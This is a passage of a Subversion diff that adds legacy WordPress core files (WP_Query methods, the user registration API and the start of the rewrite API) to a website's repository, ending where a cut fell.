+				$cwhere = apply_filters('comment_feed_where', $cwhere);
+				$cgroupby = apply_filters('comment_feed_groupby', $cgroupby);
+				$corderby = apply_filters('comment_feed_orderby', 'comment_date_gmt DESC');
+				$climits = apply_filters('comment_feed_limits', 'LIMIT ' . get_option('posts_per_rss'));
+			}
+			$cgroupby = ( ! empty( $cgroupby ) ) ? 'GROUP BY ' . $cgroupby : '';
+			$corderby = ( ! empty( $corderby ) ) ? 'ORDER BY ' . $corderby : '';
+
+			$this->comments = (array) $wpdb->get_results("SELECT $distinct $wpdb->comments.* FROM $wpdb->comments $cjoin $cwhere $cgroupby $corderby $climits");
+			$this->comment_count = count($this->comments);
+
+			$post_ids = array();
+
+			foreach ($this->comments as $comment)
+				$post_ids[] = (int) $comment->comment_post_ID;
+
+			$post_ids = join(',', $post_ids);
+			$join = '';
+			if ( $post_ids )
+				$where = "AND $wpdb->posts.ID IN ($post_ids) ";
+			else
+				$where = "AND 0";
+		}
+
+		$orderby = $q['orderby'];
+
+		// Apply post-paging filters on where and join.  Only plugins that
+		// manipulate paging queries should use these hooks.
+		if ( !$q['suppress_filters'] ) {
+			$where = apply_filters('posts_where_paged', $where);
+			$groupby = apply_filters('posts_groupby', $groupby);
+			$join = apply_filters('posts_join_paged', $join);
+			$orderby = apply_filters('posts_orderby', $orderby);
+			$distinct = apply_filters('posts_distinct', $distinct);
+			$limits = apply_filters( 'post_limits', $limits );
+
+			$fields = apply_filters('posts_fields', $fields);
+		}
+
+		// Announce current selection parameters.  For use by caching plugins.
+		do_action( 'posts_selection', $where . $groupby . $orderby . $limits . $join );
+
+		// Filter again for the benefit of caching plugins.  Regular plugins should use the hooks above.
+		if ( !$q['suppress_filters'] ) {
+			$where = apply_filters('posts_where_request', $where);
+			$groupby = apply_filters('posts_groupby_request', $groupby);
+			$join = apply_filters('posts_join_request', $join);
+			$orderby = apply_filters('posts_orderby_request', $orderby);
+			$distinct = apply_filters('posts_distinct_request', $distinct);
+			$fields = apply_filters('posts_fields_request', $fields);
+			$limits = apply_filters( 'post_limits_request', $limits );
+		}
+
+		if ( ! empty($groupby) )
+			$groupby = 'GROUP BY ' . $groupby;
+		if ( !empty( $orderby ) )
+			$orderby = 'ORDER BY ' . $orderby;
+		$found_rows = '';
+		if ( !empty($limits) )
+			$found_rows = 'SQL_CALC_FOUND_ROWS';
+
+		$this->request = " SELECT $found_rows $distinct $fields FROM $wpdb->posts $join WHERE 1=1 $where $groupby $orderby $limits";
+		if ( !$q['suppress_filters'] )
+			$this->request = apply_filters('posts_request', $this->request);
+
+		$this->posts = $wpdb->get_results($this->request);
+		// Raw results filter.  Prior to status checks.
+		if ( !$q['suppress_filters'] )
+			$this->posts = apply_filters('posts_results', $this->posts);
+
+		if ( !empty($this->posts) && $this->is_comment_feed && $this->is_singular ) {
+			$cjoin = apply_filters('comment_feed_join', '');
+			$cwhere = apply_filters('comment_feed_where', "WHERE comment_post_ID = '{$this->posts[0]->ID}' AND comment_approved = '1'");
+			$cgroupby = apply_filters('comment_feed_groupby', '');
+			$cgroupby = ( ! empty( $cgroupby ) ) ? 'GROUP BY ' . $cgroupby : '';
+			$corderby = apply_filters('comment_feed_orderby', 'comment_date_gmt DESC');
+			$corderby = ( ! empty( $corderby ) ) ? 'ORDER BY ' . $corderby : '';
+			$climits = apply_filters('comment_feed_limits', 'LIMIT ' . get_option('posts_per_rss'));
+			$comments_request = "SELECT $wpdb->comments.* FROM $wpdb->comments $cjoin $cwhere $cgroupby $corderby $climits";
+			$this->comments = $wpdb->get_results($comments_request);
+			$this->comment_count = count($this->comments);
+		}
+
+		if ( !empty($limits) ) {
+			$found_posts_query = apply_filters( 'found_posts_query', 'SELECT FOUND_ROWS()' );
+			$this->found_posts = $wpdb->get_var( $found_posts_query );
+			$this->found_posts = apply_filters( 'found_posts', $this->found_posts );
+			$this->max_num_pages = ceil($this->found_posts / $q['posts_per_page']);
+		}
+
+		// Check post status to determine if post should be displayed.
+		if ( !empty($this->posts) && ($this->is_single || $this->is_page) ) {
+			$status = get_post_status($this->posts[0]);
+			//$type = get_post_type($this->posts[0]);
+			if ( ('publish' != $status) ) {
+				if ( ! is_user_logged_in() ) {
+					// User must be logged in to view unpublished posts.
+					$this->posts = array();
+				} else {
+					if  (in_array($status, array('draft', 'pending')) ) {
+						// User must have edit permissions on the draft to preview.
+						if (! current_user_can('edit_post', $this->posts[0]->ID)) {
+							$this->posts = array();
+						} else {
+							$this->is_preview = true;
+							$this->posts[0]->post_date = current_time('mysql');
+						}
+					}  else if ('future' == $status) {
+						$this->is_preview = true;
+						if (!current_user_can('edit_post', $this->posts[0]->ID)) {
+							$this->posts = array ( );
+						}
+					} else {
+						if (! current_user_can('read_post', $this->posts[0]->ID))
+							$this->posts = array();
+					}
+				}
+			}
+
+			if ( $this->is_preview && current_user_can( "edit_{$post_type}", $this->posts[0]->ID ) )
+				$this->posts[0] = apply_filters('the_preview', $this->posts[0]);
+		}
+
+		// Put sticky posts at the top of the posts array
+		$sticky_posts = get_option('sticky_posts');
+		if ( $this->is_home && $page <= 1 && is_array($sticky_posts) && !empty($sticky_posts) && !$q['caller_get_posts'] ) {
+			$num_posts = count($this->posts);
+			$sticky_offset = 0;
+			// Loop over posts and relocate stickies to the front.
+			for ( $i = 0; $i < $num_posts; $i++ ) {
+				if ( in_array($this->posts[$i]->ID, $sticky_posts) ) {
+					$sticky_post = $this->posts[$i];
+					// Remove sticky from current position
+					array_splice($this->posts, $i, 1);
+					// Move to front, after other stickies
+					array_splice($this->posts, $sticky_offset, 0, array($sticky_post));
+					// Increment the sticky offset.  The next sticky will be placed at this offset.
+					$sticky_offset++;
+					// Remove post from sticky posts array
+					$offset = array_search($sticky_post->ID, $sticky_posts);
+					array_splice($sticky_posts, $offset, 1);
+				}
+			}
+
+			// Fetch sticky posts that weren't in the query results
+			if ( !empty($sticky_posts) ) {
+				$stickies__in = implode(',', array_map( 'absint', $sticky_posts ));
+				$stickies = $wpdb->get_results( "SELECT * FROM $wpdb->posts WHERE $wpdb->posts.ID IN ($stickies__in)" );
+				/** @todo Make sure post is published or viewable by the current user */
+				foreach ( $stickies as $sticky_post ) {
+					if ( 'publish' != $sticky_post->post_status )
+						continue;
+						array_splice($this->posts, $sticky_offset, 0, array($sticky_post));
+						$sticky_offset++;
+				}
+			}
+		}
+
+		if ( !$q['suppress_filters'] )
+			$this->posts = apply_filters('the_posts', $this->posts);
+
+		update_post_caches($this->posts);
+
+		$this->post_count = count($this->posts);
+		if ($this->post_count > 0) {
+			$this->post = $this->posts[0];
+		}
+
+		return $this->posts;
+	}
+
+	/**
+	 * Setup the next post and iterate current post index.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return object Next post.
+	 */
+	function next_post() {
+
+		$this->current_post++;
+
+		$this->post = $this->posts[$this->current_post];
+		return $this->post;
+	}
+
+	/**
+	 * Sets up the current post.
+	 *
+	 * Retrieves the next post, sets up the post, sets the 'in the loop'
+	 * property to true.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @uses $post
+	 * @uses do_action_ref_array() Calls 'loop_start' if loop has just started
+	 */
+	function the_post() {
+		global $post;
+		$this->in_the_loop = true;
+
+		if ( $this->current_post == -1 ) // loop has just started
+			do_action_ref_array('loop_start', array(&$this));
+
+		$post = $this->next_post();
+		setup_postdata($post);
+	}
+
+	/**
+	 * Whether there are more posts available in the loop.
+	 *
+	 * Calls action 'loop_end', when the loop is complete.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @uses do_action_ref_array() Calls 'loop_end' if loop is ended
+	 *
+	 * @return bool True if posts are available, false if end of loop.
+	 */
+	function have_posts() {
+		if ($this->current_post + 1 < $this->post_count) {
+			return true;
+		} elseif ($this->current_post + 1 == $this->post_count && $this->post_count > 0) {
+			do_action_ref_array('loop_end', array(&$this));
+			// Do some cleaning up after the loop
+			$this->rewind_posts();
+		}
+
+		$this->in_the_loop = false;
+		return false;
+	}
+
+	/**
+	 * Rewind the posts and reset post index.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 */
+	function rewind_posts() {
+		$this->current_post = -1;
+		if ($this->post_count > 0) {
+			$this->post = $this->posts[0];
+		}
+	}
+
+	/**
+	 * Iterate current comment index and return comment object.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 *
+	 * @return object Comment object.
+	 */
+	function next_comment() {
+		$this->current_comment++;
+
+		$this->comment = $this->comments[$this->current_comment];
+		return $this->comment;
+	}
+
+	/**
+	 * Sets up the current comment.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @global object $comment Current comment.
+	 * @uses do_action() Calls 'comment_loop_start' hook when first comment is processed.
+	 */
+	function the_comment() {
+		global $comment;
+
+		$comment = $this->next_comment();
+
+		if ($this->current_comment == 0) {
+			do_action('comment_loop_start');
+		}
+	}
+
+	/**
+	 * Whether there are more comments available.
+	 *
+	 * Automatically rewinds comments when finished.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 *
+	 * @return bool True, if more comments. False, if no more posts.
+	 */
+	function have_comments() {
+		if ($this->current_comment + 1 < $this->comment_count) {
+			return true;
+		} elseif ($this->current_comment + 1 == $this->comment_count) {
+			$this->rewind_comments();
+		}
+
+		return false;
+	}
+
+	/**
+	 * Rewind the comments, resets the comment index and comment to first.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 */
+	function rewind_comments() {
+		$this->current_comment = -1;
+		if ($this->comment_count > 0) {
+			$this->comment = $this->comments[0];
+		}
+	}
+
+	/**
+	 * Sets up the WordPress query by parsing query string.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $query URL query string.
+	 * @return array List of posts.
+	 */
+	function &query($query) {
+		$this->parse_query($query);
+		return $this->get_posts();
+	}
+
+	/**
+	 * Retrieve queried object.
+	 *
+	 * If queried object is not set, then the queried object will be set from
+	 * the category, tag, taxonomy, posts page, single post, page, or author
+	 * query variable. After it is set up, it will be returned.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return object
+	 */
+	function get_queried_object() {
+		if (isset($this->queried_object)) {
+			return $this->queried_object;
+		}
+
+		$this->queried_object = NULL;
+		$this->queried_object_id = 0;
+
+		if ($this->is_category) {
+			$cat = $this->get('cat');
+			$category = &get_category($cat);
+			if ( is_wp_error( $category ) )
+				return NULL;
+			$this->queried_object = &$category;
+			$this->queried_object_id = (int) $cat;
+		} else if ($this->is_tag) {
+			$tag_id = $this->get('tag_id');
+			$tag = &get_term($tag_id, 'post_tag');
+			if ( is_wp_error( $tag ) )
+				return NULL;
+			$this->queried_object = &$tag;
+			$this->queried_object_id = (int) $tag_id;
+		} else if ($this->is_tax) {
+			$tax = $this->get('taxonomy');
+			$slug = $this->get('term');
+			$term = &get_terms($tax, array('slug'=>$slug));
+			if ( is_wp_error($term) || empty($term) )
+				return NULL;
+			$term = $term[0];
+			$this->queried_object = $term;
+			$this->queried_object_id = $term->term_id;
+		} else if ($this->is_posts_page) {
+			$this->queried_object = & get_page(get_option('page_for_posts'));
+			$this->queried_object_id = (int) $this->queried_object->ID;
+		} else if ($this->is_single) {
+			$this->queried_object = $this->post;
+			$this->queried_object_id = (int) $this->post->ID;
+		} else if ($this->is_page) {
+			$this->queried_object = $this->post;
+			$this->queried_object_id = (int) $this->post->ID;
+		} else if ($this->is_author) {
+			$author_id = (int) $this->get('author');
+			$author = get_userdata($author_id);
+			$this->queried_object = $author;
+			$this->queried_object_id = $author_id;
+		}
+
+		return $this->queried_object;
+	}
+
+	/**
+	 * Retrieve ID of the current queried object.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return int
+	 */
+	function get_queried_object_id() {
+		$this->get_queried_object();
+
+		if (isset($this->queried_object_id)) {
+			return $this->queried_object_id;
+		}
+
+		return 0;
+	}
+
+	/**
+	 * PHP4 type constructor.
+	 *
+	 * Sets up the WordPress query, if parameter is not empty.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $query URL query string.
+	 * @return WP_Query
+	 */
+	function WP_Query ($query = '') {
+		if (! empty($query)) {
+			$this->query($query);
+		}
+	}
+}
+
+/**
+ * Redirect old slugs to the correct permalink.
+ *
+ * Attempts to find the current slug from the past slugs.
+ *
+ * @since 2.1.0
+ * @uses $wp_query
+ * @uses $wpdb
+ *
+ * @return null If no link is found, null is returned.
+ */
+function wp_old_slug_redirect () {
+	global $wp_query;
+	if ( is_404() && '' != $wp_query->query_vars['name'] ) :
+		global $wpdb;
+
+		$query = "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND meta_key = '_wp_old_slug' AND meta_value='" . $wp_query->query_vars['name'] . "'";
+
+		// if year, monthnum, or day have been specified, make our query more precise
+		// just in case there are multiple identical _wp_old_slug values
+		if ( '' != $wp_query->query_vars['year'] )
+			$query .= " AND YEAR(post_date) = '{$wp_query->query_vars['year']}'";
+		if ( '' != $wp_query->query_vars['monthnum'] )
+			$query .= " AND MONTH(post_date) = '{$wp_query->query_vars['monthnum']}'";
+		if ( '' != $wp_query->query_vars['day'] )
+			$query .= " AND DAYOFMONTH(post_date) = '{$wp_query->query_vars['day']}'";
+
+		$id = (int) $wpdb->get_var($query);
+
+		if ( !$id )
+			return;
+
+		$link = get_permalink($id);
+
+		if ( !$link )
+			return;
+
+		wp_redirect($link, '301'); // Permanent redirect
+		exit;
+	endif;
+}
+
+/**
+ * Setup global post data.
+ *
+ * @since 1.5.0
+ *
+ * @param object $post Post data.
+ * @uses do_action_ref_array() Calls 'the_post'
+ * @return bool True when finished.
+ */
+function setup_postdata($post) {
+	global $id, $authordata, $day, $currentmonth, $page, $pages, $multipage, $more, $numpages;
+
+	$id = (int) $post->ID;
+
+	$authordata = get_userdata($post->post_author);
+
+	$day = mysql2date('d.m.y', $post->post_date, false);
+	$currentmonth = mysql2date('m', $post->post_date, false);
+	$numpages = 1;
+	$page = get_query_var('page');
+	if ( !$page )
+		$page = 1;
+	if ( is_single() || is_page() || is_feed() )
+		$more = 1;
+	$content = $post->post_content;
+	if ( strpos( $content, '<!--nextpage-->' ) ) {
+		if ( $page > 1 )
+			$more = 1;
+		$multipage = 1;
+		$content = str_replace("\n<!--nextpage-->\n", '<!--nextpage-->', $content);
+		$content = str_replace("\n<!--nextpage-->", '<!--nextpage-->', $content);
+		$content = str_replace("<!--nextpage-->\n", '<!--nextpage-->', $content);
+		$pages = explode('<!--nextpage-->', $content);
+		$numpages = count($pages);
+	} else {
+		$pages[0] = $post->post_content;
+		$multipage = 0;
+	}
+
+	do_action_ref_array('the_post', array(&$post));
+	
+	return true;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/registration-functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/registration-functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/registration-functions.php	(revision 44)
@@ -0,0 +1,9 @@
+<?php
+/**
+ * Deprecated. Use registration.php.
+ *
+ * @package WordPress
+ */
+_deprecated_file( basename(__FILE__), '0.0', 'registration.php' );
+require_once(ABSPATH . WPINC .  '/registration.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/registration.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/registration.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/registration.php	(revision 44)
@@ -0,0 +1,309 @@
+<?php
+/**
+ * User Registration API
+ *
+ * @package WordPress
+ */
+
+/**
+ * Checks whether the given username exists.
+ *
+ * @since 2.0.0
+ *
+ * @param string $username Username.
+ * @return null|int The user's ID on success, and null on failure.
+ */
+function username_exists( $username ) {
+	if ( $user = get_userdatabylogin( $username ) ) {
+		return $user->ID;
+	} else {
+		return null;
+	}
+}
+
+/**
+ * Checks whether the given email exists.
+ *
+ * @since 2.1.0
+ * @uses $wpdb
+ *
+ * @param string $email Email.
+ * @return bool|int The user's ID on success, and false on failure.
+ */
+function email_exists( $email ) {
+	if ( $user = get_user_by_email($email) )
+		return $user->ID;
+
+	return false;
+}
+
+/**
+ * Checks whether an username is valid.
+ *
+ * @since 2.0.1
+ * @uses apply_filters() Calls 'validate_username' hook on $valid check and $username as parameters
+ *
+ * @param string $username Username.
+ * @return bool Whether username given is valid
+ */
+function validate_username( $username ) {
+	$sanitized = sanitize_user( $username, true );
+	$valid = ( $sanitized == $username );
+	return apply_filters( 'validate_username', $valid, $username );
+}
+
+/**
+ * Insert an user into the database.
+ *
+ * Can update a current user or insert a new user based on whether the user's ID
+ * is present.
+ *
+ * Can be used to update the user's info (see below), set the user's role, and
+ * set the user's preference on whether they want the rich editor on.
+ *
+ * Most of the $userdata array fields have filters associated with the values.
+ * The exceptions are 'rich_editing', 'role', 'jabber', 'aim', 'yim',
+ * 'user_registered', and 'ID'. The filters have the prefix 'pre_user_' followed
+ * by the field name. An example using 'description' would have the filter
+ * called, 'pre_user_description' that can be hooked into.
+ *
+ * The $userdata array can contain the following fields:
+ * 'ID' - An integer that will be used for updating an existing user.
+ * 'user_pass' - A string that contains the plain text password for the user.
+ * 'user_login' - A string that contains the user's username for logging in.
+ * 'user_nicename' - A string that contains a nicer looking name for the user.
+ *		The default is the user's username.
+ * 'user_url' - A string containing the user's URL for the user's web site.
+ * 'user_email' - A string containing the user's email address.
+ * 'display_name' - A string that will be shown on the site. Defaults to user's
+ *		username. It is likely that you will want to change this, for both
+ *		appearance and security through obscurity (that is if you don't use and
+ *		delete the default 'admin' user).
+ * 'nickname' - The user's nickname, defaults to the user's username.
+ * 'first_name' - The user's first name.
+ * 'last_name' - The user's last name.
+ * 'description' - A string containing content about the user.
+ * 'rich_editing' - A string for whether to enable the rich editor or not. False
+ *		if not empty.
+ * 'user_registered' - The date the user registered. Format is 'Y-m-d H:i:s'.
+ * 'role' - A string used to set the user's role.
+ * 'jabber' - User's Jabber account.
+ * 'aim' - User's AOL IM account.
+ * 'yim' - User's Yahoo IM account.
+ *
+ * @since 2.0.0
+ * @uses $wpdb WordPress database layer.
+ * @uses apply_filters() Calls filters for most of the $userdata fields with the prefix 'pre_user'. See note above.
+ * @uses do_action() Calls 'profile_update' hook when updating giving the user's ID
+ * @uses do_action() Calls 'user_register' hook when creating a new user giving the user's ID
+ *
+ * @param array $userdata An array of user data.
+ * @return int The newly created user's ID.
+ */
+function wp_insert_user($userdata) {
+	global $wpdb;
+
+	extract($userdata, EXTR_SKIP);
+
+	// Are we updating or creating?
+	if ( !empty($ID) ) {
+		$ID = (int) $ID;
+		$update = true;
+		$old_user_data = get_userdata($ID);
+	} else {
+		$update = false;
+		// Hash the password
+		$user_pass = wp_hash_password($user_pass);
+	}
+
+	$user_login = sanitize_user($user_login, true);
+	$user_login = apply_filters('pre_user_login', $user_login);
+
+	if ( empty($user_nicename) )
+		$user_nicename = sanitize_title( $user_login );
+	$user_nicename = apply_filters('pre_user_nicename', $user_nicename);
+
+	if ( empty($user_url) )
+		$user_url = '';
+	$user_url = apply_filters('pre_user_url', $user_url);
+
+	if ( empty($user_email) )
+		$user_email = '';
+	$user_email = apply_filters('pre_user_email', $user_email);
+
+	if ( empty($display_name) )
+		$display_name = $user_login;
+	$display_name = apply_filters('pre_user_display_name', $display_name);
+
+	if ( empty($nickname) )
+		$nickname = $user_login;
+	$nickname = apply_filters('pre_user_nickname', $nickname);
+
+	if ( empty($first_name) )
+		$first_name = '';
+	$first_name = apply_filters('pre_user_first_name', $first_name);
+
+	if ( empty($last_name) )
+		$last_name = '';
+	$last_name = apply_filters('pre_user_last_name', $last_name);
+
+	if ( empty($description) )
+		$description = '';
+	$description = apply_filters('pre_user_description', $description);
+
+	if ( empty($rich_editing) )
+		$rich_editing = 'true';
+
+	if ( empty($comment_shortcuts) )
+		$comment_shortcuts = 'false';
+
+	if ( empty($admin_color) )
+		$admin_color = 'fresh';
+	$admin_color = preg_replace('|[^a-z0-9 _.\-@]|i', '', $admin_color);
+
+	if ( empty($use_ssl) )
+		$use_ssl = 0;
+
+	if ( empty($jabber) )
+		$jabber = '';
+
+	if ( empty($aim) )
+		$aim = '';
+
+	if ( empty($yim) )
+		$yim = '';
+
+	if ( empty($user_registered) )
+		$user_registered = gmdate('Y-m-d H:i:s');
+
+	$user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $user_nicename, $user_login));
+
+	if ($user_nicename_check) {
+		$suffix = 2;
+		while ($user_nicename_check) {
+			$alt_user_nicename = $user_nicename . "-$suffix";
+			$user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $alt_user_nicename, $user_login));
+			$suffix++;
+		}
+		$user_nicename = $alt_user_nicename;
+	}
+
+	$data = compact( 'user_pass', 'user_email', 'user_url', 'user_nicename', 'display_name', 'user_registered' );
+	$data = stripslashes_deep( $data );
+
+	if ( $update ) {
+		$wpdb->update( $wpdb->users, $data, compact( 'ID' ) );
+		$user_id = (int) $ID;
+	} else {
+		$wpdb->insert( $wpdb->users, $data + compact( 'user_login' ) );
+		$user_id = (int) $wpdb->insert_id;
+	}
+
+	update_usermeta( $user_id, 'first_name', $first_name);
+	update_usermeta( $user_id, 'last_name', $last_name);
+	update_usermeta( $user_id, 'nickname', $nickname );
+	update_usermeta( $user_id, 'description', $description );
+	update_usermeta( $user_id, 'jabber', $jabber );
+	update_usermeta( $user_id, 'aim', $aim );
+	update_usermeta( $user_id, 'yim', $yim );
+	update_usermeta( $user_id, 'rich_editing', $rich_editing);
+	update_usermeta( $user_id, 'comment_shortcuts', $comment_shortcuts);
+	update_usermeta( $user_id, 'admin_color', $admin_color);
+	update_usermeta( $user_id, 'use_ssl', $use_ssl);
+
+	if ( isset($role) ) {
+		$user = new WP_User($user_id);
+		$user->set_role($role);
+	} elseif ( !$update ) {
+		$user = new WP_User($user_id);
+		$user->set_role(get_option('default_role'));
+	}
+
+	wp_cache_delete($user_id, 'users');
+	wp_cache_delete($user_login, 'userlogins');
+
+	if ( $update )
+		do_action('profile_update', $user_id, $old_user_data);
+	else
+		do_action('user_register', $user_id);
+
+	return $user_id;
+}
+
+/**
+ * Update an user in the database.
+ *
+ * It is possible to update a user's password by specifying the 'user_pass'
+ * value in the $userdata parameter array.
+ *
+ * If $userdata does not contain an 'ID' key, then a new user will be created
+ * and the new user's ID will be returned.
+ *
+ * If current user's password is being updated, then the cookies will be
+ * cleared.
+ *
+ * @since 2.0.0
+ * @see wp_insert_user() For what fields can be set in $userdata
+ * @uses wp_insert_user() Used to update existing user or add new one if user doesn't exist already
+ *
+ * @param array $userdata An array of user data.
+ * @return int The updated user's ID.
+ */
+function wp_update_user($userdata) {
+	$ID = (int) $userdata['ID'];
+
+	// First, get all of the original fields
+	$user = get_userdata($ID);
+
+	// Escape data pulled from DB.
+	$user = add_magic_quotes(get_object_vars($user));
+
+	// If password is changing, hash it now.
+	if ( ! empty($userdata['user_pass']) ) {
+		$plaintext_pass = $userdata['user_pass'];
+		$userdata['user_pass'] = wp_hash_password($userdata['user_pass']);
+	}
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$userdata = array_merge($user, $userdata);
+	$user_id = wp_insert_user($userdata);
+
+	// Update the cookies if the password changed.
+	$current_user = wp_get_current_user();
+	if ( $current_user->id == $ID ) {
+		if ( isset($plaintext_pass) ) {
+			wp_clear_auth_cookie();
+			wp_set_auth_cookie($ID);
+		}
+	}
+
+	return $user_id;
+}
+
+/**
+ * A simpler way of inserting an user into the database.
+ *
+ * Creates a new user with just the username, password, and email. For a more
+ * detail creation of a user, use wp_insert_user() to specify more infomation.
+ *
+ * @since 2.0.0
+ * @see wp_insert_user() More complete way to create a new user
+ * @uses $wpdb Escapes $username and $email parameters
+ *
+ * @param string $username The user's username.
+ * @param string $password The user's password.
+ * @param string $email The user's email (optional).
+ * @return int The new user's ID.
+ */
+function wp_create_user($username, $password, $email = '') {
+	global $wpdb;
+
+	$user_login = $wpdb->escape($username);
+	$user_email = $wpdb->escape($email);
+	$user_pass = $password;
+
+	$userdata = compact('user_login', 'user_email', 'user_pass');
+	return wp_insert_user($userdata);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/rewrite.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/rewrite.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/rewrite.php	(revision 44)
@@ -0,0 +1,1946 @@
+<?php
+/**
+ * WordPress Rewrite API
+ *
+ * @package WordPress
+ * @subpackage Rewrite
+ */
+
+/**
+ * Add a straight rewrite rule.
+ *
+ * @see WP_Rewrite::add_rule() for long description.
+ * @since 2.1.0
+ *
+ * @param string $regex Regular Expression to match request against.
+ * @param string $redirect Page to redirect to.
+ * @param string $after Optional, default is 'bottom'. Where to add rule, can also be 'top'.
+ */
+function add_rewrite_rule($regex, $redirect, $after = 'bottom') {
+	global $wp_rewrite;
+	$wp_rewrite->add_rule($regex, $redirect, $after);
+}
+
+/**
+ * Add a new tag (like %postname%).
+ *
+ * Warning: you must call this on init or earlier, otherwise the query var
+ * addition stuff won't work.
+ *
+ * @since 2.1.0
+ *
+ * @param string $tagname
+ * @param string $regex
+ */
+function add_rewrite_tag($tagname, $regex) {
+	//validation
+	if (strlen($tagname) < 3 || $tagname{0} != '%' || $tagname{strlen($tagname)-1} != '%') {
+		return;
+	}
+
+	$qv = trim($tagname, '%');
+
+	global $wp_rewrite, $wp;
+	$wp->add_query_var($qv);
+	$wp_rewrite->add_rewrite_tag($tagname, $regex, $qv . '=');
+}
+
+/**
+ * Add a new feed type like /atom1/.
+ *
+ * @since 2.1.0
+ *
+ * @param string $feedname
+ * @param callback $function Callback to run on feed display.
+ * @return string Feed action name.
+ */
+function add_feed($feedname, $function) {
+	global $wp_rewrite;
+	if (!in_array($feedname, $wp_rewrite->feeds)) { //override the file if it is
+		$wp_rewrite->feeds[] = $feedname;
+	}
+	$hook = 'do_feed_' . $feedname;
+	// Remove default function hook
+	remove_action($hook, $hook, 10, 1);
+	add_action($hook, $function, 10, 1);
+	return $hook;
+}
+
+/**
+ * Endpoint Mask for Permalink.
+ *
+ * @since 2.1.0
+ */
+define('EP_PERMALINK', 1);
+
+/**
+ * Endpoint Mask for Attachment.
+ *
+ * @since 2.1.0
+ */
+define('EP_ATTACHMENT', 2);
+
+/**
+ * Endpoint Mask for date.
+ *
+ * @since 2.1.0
+ */
+define('EP_DATE', 4);
+
+/**
+ * Endpoint Mask for year
+ *
+ * @since 2.1.0
+ */
+define('EP_YEAR', 8);
+
+/**
+ * Endpoint Mask for month.
+ *
+ * @since 2.1.0
+ */
+define('EP_MONTH', 16);
+
+/**
+ * Endpoint Mask for day.
+ *
+ * @since 2.1.0
+ */
+define('EP_DAY', 32);
+
+/**
+ * Endpoint Mask for root.
+ *
+ * @since 2.1.0
+ */
+define('EP_ROOT', 64);
+
+/**
+ * Endpoint Mask for comments.
+ *
+ * @since 2.1.0
+ */
+define('EP_COMMENTS', 128);
+
+/**
+ * Endpoint Mask for searches.
+ *
+ * @since 2.1.0
+ */
+define('EP_SEARCH', 256);
+
+/**
+ * Endpoint Mask for categories.
+ *
+ * @since 2.1.0
+ */
+define('EP_CATEGORIES', 512);
+
+/**
+ * Endpoint Mask for tags.
+ *
+ * @since 2.3.0
+ */
+define('EP_TAGS', 1024);
+
+/**
+ * Endpoint Mask for authors.
+ *
+ * @since 2.1.0
+ */
+define('EP_AUTHORS', 2048);
+
+/**
+ * Endpoint Mask for pages.
+ *
+ * @since 2.1.0
+ */
+define('EP_PAGES', 4096);
+
+//pseudo-places
+/**
+ * Endpoint Mask for default, which is nothing.
+ *
+ * @since 2.1.0
+ */
+define('EP_NONE', 0);
+
+/**
+ * Endpoint Mask for everything.
+ *
+ * @since 2.1.0
+ */
+define('EP_ALL', 8191);
+
+/**
+ * Add an endpoint, like /trackback/.
+ *
+ * The endpoints are added to the end of the request. So a request matching
+ * "/2008/10/14/my_post/myep/", the endpoint will be "/myep/".
+ *
+ * Be sure to flush the rewrite rules (wp_rewrite->flush()) when your plugin gets
+ * activated (register_activation_hook()) and deactivated (register_deactivation_hook())
+ *
+ * @since 2.1.0
+ * @see WP_Rewrite::add_endpoint() Parameters and more description.
+ * @uses $wp_rewrite
+ *
+ * @param unknown_type $name
+ * @param unknown_type $places
+ */
+function add_rewrite_endpoint($name, $places) {
+	global $wp_rewrite;
+	$wp_rewrite->add_endpoint($name, $places);
+}
+
+/**
+ * Filter the URL base for taxonomies.
+ *
+ * To remove any manually prepended /index.php/.
+ *
+ * @access private
+ * @since 2.6.0
+ * @author Mark Jaquith
+ *
+ * @param string $base The taxonomy base that we're going to filter
+ * @return string
+ */
+function _wp_filter_taxonomy_base( $base ) {
+	if ( !empty( $base ) ) {
+		$base = preg_replace( '|^/index\.php/|', '', $base );
+		$base = trim( $base, '/' );
+	}
+	return $base;
+}
+
+/**
+ * Examine a url and try to determine the post ID it represents.
+ *
+ * Checks are supposedly from the hosted site blog.
+ *
+ * @since 1.0.0
+ *
+ * @param string $url Permalink to check.
+ * @return int Post ID, or 0 on failure.
+ */
+function url_to_postid($url) {
+	global $wp_rewrite;
+
+	$url = apply_filters('url_to_postid', $url);
+
+	// First, check to see if there is a 'p=N' or 'page_id=N' to match against
+	if ( preg_match('#[?&](p|page_id|attachment_id)=(\d+)#', $url, $values) )	{
+		$id = absint($values[2]);
+		if ($id)
+			return $id;
+	}
+
+	// Check to see if we are using rewrite rules
+	$rewrite = $wp_rewrite->wp_rewrite_rules();
+
+	// Not using rewrite rules, and 'p=N' and 'page_id=N' methods failed, so we're out of options
+	if ( empty($rewrite) )
+		return 0;
+
+	// $url cleanup by Mark Jaquith
